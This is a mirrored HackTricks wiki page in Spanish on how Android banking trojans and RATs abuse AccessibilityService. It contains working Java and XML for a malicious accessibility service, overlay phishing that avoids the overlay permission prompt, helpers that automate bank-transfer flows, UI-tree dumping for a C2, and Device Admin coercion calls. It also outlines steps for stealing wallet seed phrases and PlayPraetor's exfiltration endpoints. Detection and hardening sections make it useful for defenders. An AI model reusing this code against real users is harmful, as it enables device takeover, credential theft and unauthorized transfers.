mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
233 lines
12 KiB
Markdown
233 lines
12 KiB
Markdown
# Abuso del Accessibility Service en Android
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Resumen
|
||
|
||
`AccessibilityService` fue creado para ayudar a usuarios con discapacidades a interactuar con dispositivos Android. Desafortunadamente, las mismas **potentes APIs de automatización** (navegación global, entrada de texto, envío de gestos, ventanas overlay…) pueden ser aprovechadas por malware para obtener **control remoto completo** del dispositivo _sin privilegios de root_.
|
||
|
||
Los troyanos bancarios modernos para Android y los Remote-Access-Trojans (RATs) como **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** y muchos otros siguen la misma receta:
|
||
|
||
1. Social-engineer a la víctima para que habilite un servicio de accessibility malicioso (el permiso *BIND_ACCESSIBILITY_SERVICE* se considera "de alto riesgo" y requiere una acción explícita del usuario).
|
||
2. Aprovechar el servicio para
|
||
* capturar cada evento de UI y texto que aparece en pantalla,
|
||
* inyectar gestos sintéticos (`dispatchGesture`) y acciones globales (`performGlobalAction`) para automatizar cualquier tarea que el operador desee,
|
||
* dibujar overlays a pantalla completa sobre apps legítimas usando el tipo de ventana **TYPE_ACCESSIBILITY_OVERLAY** (¡sin el prompt de `SYSTEM_ALERT_WINDOW`!),
|
||
* conceder silenciosamente permisos runtime adicionales haciendo clic en los diálogos del sistema en nombre de la víctima.
|
||
3. Exfiltrar datos o realizar **On-Device-Fraud (ODF)** en tiempo real mientras el usuario está viendo una pantalla perfectamente normal.
|
||
|
||
---
|
||
|
||
## Solicitar el permiso
|
||
```xml
|
||
<!-- AndroidManifest.xml -->
|
||
<service
|
||
android:name="com.evil.rat.EvilService"
|
||
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
|
||
android:exported="false">
|
||
|
||
<intent-filter>
|
||
<action android:name="android.accessibilityservice.AccessibilityService" />
|
||
</intent-filter>
|
||
|
||
<meta-data android:name="android.accessibilityservice"
|
||
android:resource="@xml/evil_accessibility_config"/>
|
||
</service>
|
||
```
|
||
El XML complementario define cómo se verá el diálogo falso:
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||
android:description="@string/service_description"
|
||
android:accessibilityEventTypes="typeAllMask"
|
||
android:accessibilityFeedbackType="feedbackGeneric"
|
||
android:notificationTimeout="200"
|
||
android:canPerformGestures="true"
|
||
android:canRetrieveWindowContent="true"/>
|
||
```
|
||
---
|
||
|
||
## Primitivas de automatización de UI remota
|
||
```java
|
||
public class EvilService extends AccessibilityService {
|
||
@Override
|
||
public void onAccessibilityEvent(AccessibilityEvent event) {
|
||
// harvest text or detect foreground app change
|
||
}
|
||
|
||
// Simulate HOME / BACK / RECENTS …
|
||
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
|
||
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
|
||
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
|
||
|
||
// Generic tap / swipe
|
||
public void tap(float x, float y) {
|
||
Path p = new Path(); p.moveTo(x, y);
|
||
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
|
||
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
|
||
}
|
||
}
|
||
```
|
||
Con solo estas dos APIs un atacante puede:
|
||
* Desbloquear la pantalla, abrir la app bancaria, navegar su árbol de UI y enviar un formulario de transferencia.
|
||
* Aceptar cada diálogo de permisos que aparezca.
|
||
* Instalar/actualizar APKs adicionales vía el intent de Play Store.
|
||
|
||
---
|
||
|
||
## Patrones de abuso
|
||
|
||
### 1. Overlay Phishing (Credential Harvesting)
|
||
Se añade un `WebView` transparente u opaco al window manager:
|
||
```java
|
||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||
MATCH_PARENT, MATCH_PARENT,
|
||
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
|
||
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
|
||
PixelFormat.TRANSLUCENT);
|
||
wm.addView(phishingView, lp);
|
||
```
|
||
La víctima escribe credenciales en el formulario falso mientras la app en segundo plano recibe los mismos gestos: nunca se muestra el sospechoso aviso "draw over other apps".
|
||
|
||
> Ejemplo detallado: la sección *Accessibility Overlay Phishing* dentro de la página Tapjacking.
|
||
|
||
### 2. Automatización de fraude en el dispositivo
|
||
Familias de malware como **PlayPraetor** mantienen un canal WebSocket persistente donde el operador puede emitir comandos de alto nivel (`init`, `update`, `alert_arr`, `report_list`, …). El servicio traduce esos comandos en los gestos de bajo nivel descritos arriba, logrando transacciones no autorizadas en tiempo real que eluden fácilmente la autenticación multifactor ligada a ese mismo dispositivo.
|
||
|
||
### 3. Transmisión y monitorización de pantalla
|
||
Combinando la **MediaProjection API** con una librería cliente RTMP, el RAT puede emitir el framebuffer en vivo a `rtmp://<c2>:1935/live/<device_id>`, dando al adversario una conciencia situacional perfecta mientras el motor de Accessibility maneja la interfaz de usuario.
|
||
|
||
---
|
||
|
||
## PlayPraetor – flujo de trabajo de command & control
|
||
|
||
1. **HTTP(S) heartbeat** – iterar sobre una lista codificada hasta que un dominio responda `POST /app/searchPackageName` con el C2 activo.
|
||
2. **WebSocket (port 8282)** – comandos JSON bidireccionales:
|
||
* `update` – enviar nuevas conf/APKs
|
||
* `alert_arr` – configurar plantillas de overlay
|
||
* `report_list` – enviar lista de nombres de paquetes objetivo
|
||
* `heartbeat_web` – mantener la conexión
|
||
3. **RTMP (port 1935)** – transmisión de pantalla/video en vivo.
|
||
4. **REST exfiltration** –
|
||
* `/app/saveDevice` (huella)
|
||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||
* `/app/saveCardPwd` (credenciales bancarias)
|
||
|
||
El **AccessibilityService** es el motor local que convierte esos comandos en la nube en interacciones físicas.
|
||
|
||
---
|
||
|
||
## Detectando servicios de accesibilidad maliciosos
|
||
|
||
* `adb shell settings get secure enabled_accessibility_services`
|
||
* Ajustes → Accesibilidad → *Servicios descargados* – busca apps que **no** provengan de Google Play.
|
||
* Las soluciones MDM / EMM pueden imponer `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) para bloquear servicios instalados fuera de Google Play.
|
||
* Analiza los servicios en ejecución:
|
||
```bash
|
||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||
```
|
||
|
||
---
|
||
|
||
## Recomendaciones de hardening para desarrolladores de apps
|
||
|
||
* Marcar vistas sensibles con `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
||
* Combina `setFilterTouchesWhenObscured(true)` con `FLAG_SECURE` para prevenir tap/overlay hijacking.
|
||
* Detecta overlays consultando `WindowManager.getDefaultDisplay().getFlags()` o la API `ViewRootImpl`.
|
||
* Rechaza operar cuando `Settings.canDrawOverlays()` **o** un Accessibility service no confiable esté activo.
|
||
|
||
---
|
||
|
||
## Hoja rápida de automatización ATS (Accessibility-driven)
|
||
El malware puede automatizar por completo una app bancaria con solo las Accessibility APIs. Primitivas genéricas:
|
||
```java
|
||
// Helpers inside your AccessibilityService
|
||
private List<AccessibilityNodeInfo> byText(String t){
|
||
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||
}
|
||
private boolean clickText(String t){
|
||
for (AccessibilityNodeInfo n: byText(t)){
|
||
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||
AccessibilityNodeInfo p = n.getParent();
|
||
if (p != null) return p.performAction(ACTION_CLICK);
|
||
}
|
||
return false;
|
||
}
|
||
private void inputText(AccessibilityNodeInfo field, String text){
|
||
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||
field.performAction(ACTION_SET_TEXT, b);
|
||
}
|
||
private void tap(float x, float y){
|
||
Path p = new Path(); p.moveTo(x,y);
|
||
dispatchGesture(new GestureDescription.Builder()
|
||
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||
}
|
||
```
|
||
Flujo de ejemplo (checo → etiquetas en inglés):
|
||
- "Nová platba" (Nuevo pago) → hacer clic
|
||
- "Zadat platbu" (Ingresar pago) → hacer clic
|
||
- "Nový příjemce" (Nuevo destinatario) → hacer clic
|
||
- "Domácí číslo účtu" (Número de cuenta nacional) → enfocar y `ACTION_SET_TEXT`
|
||
- "Další" (Siguiente) → hacer clic → … "Zaplatit" (Pagar) → hacer clic → introducir PIN
|
||
|
||
Fallback: coordenadas codificadas con `dispatchGesture` cuando la búsqueda de texto falla debido a widgets personalizados.
|
||
|
||
También observado: pasos previos a `check_limit` y `limit` navegando a la UI de límites y aumentando los límites diarios antes de la transferencia.
|
||
|
||
## Pseudo-transmisión de pantalla basada en texto
|
||
Para control remoto de baja latencia, en lugar de transmisión de video completa, volcar una representación textual del árbol de la interfaz de usuario actual y enviarla repetidamente al C2.
|
||
```java
|
||
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||
if (n==null) return;
|
||
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||
sb.append(indent).append("[").append(cls).append("] ")
|
||
.append(txt==null?"":txt).append(" ")
|
||
.append(b.toShortString()).append("\n");
|
||
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||
}
|
||
```
|
||
Esta es la base para comandos como `txt_screen` (one-shot) y `screen_live` (continuous).
|
||
|
||
## Primitivas de coerción de Device Admin
|
||
Una vez que un Device Admin receiver está activado, estas llamadas aumentan las oportunidades de capturar credenciales y mantener el control:
|
||
```java
|
||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||
|
||
// 1) Immediate lock
|
||
dpm.lockNow();
|
||
|
||
// 2) Force credential change (expire current PIN/password)
|
||
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||
|
||
// 3) Disable biometric unlock to force PIN/pattern entry
|
||
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||
```
|
||
Nota: la disponibilidad exacta de estas políticas varía según la versión de Android y el OEM; valida el rol de la política del dispositivo (admin vs owner) durante las pruebas.
|
||
|
||
## Patrones de extracción de seed-phrases de crypto wallets
|
||
Flujos observados para MetaMask, Trust Wallet, Blockchain.com y Phantom:
|
||
- Desbloquear con PIN robado (capturado vía overlay/Accessibility) o con la contraseña de wallet proporcionada.
|
||
- Navegar: Settings → Security/Recovery → Reveal/Show recovery phrase.
|
||
- Recopilar la phrase mediante keylogging de los nodos de texto, secure-screen bypass, o screenshot OCR cuando el texto esté oculto.
|
||
- Soportar múltiples locales (EN/RU/CZ/SK) para estabilizar selectores – preferir `viewIdResourceName` cuando esté disponible, y en su defecto recurrir a coincidencia de texto multilingüe.
|
||
|
||
## Orquestación de NFC-relay
|
||
Módulos Accessibility/RAT pueden instalar y lanzar una app dedicada de NFC-relay (p. ej., NFSkate) como tercera etapa e incluso inyectar una guía overlay para conducir a la víctima a través de los pasos de relay con tarjeta presente.
|
||
|
||
Contexto y TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||
|
||
---
|
||
|
||
## Referencias
|
||
* [La amenaza evolutiva de PlayPraetor: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||
* [Documentación de Android Accessibility – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||
* [El auge de RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|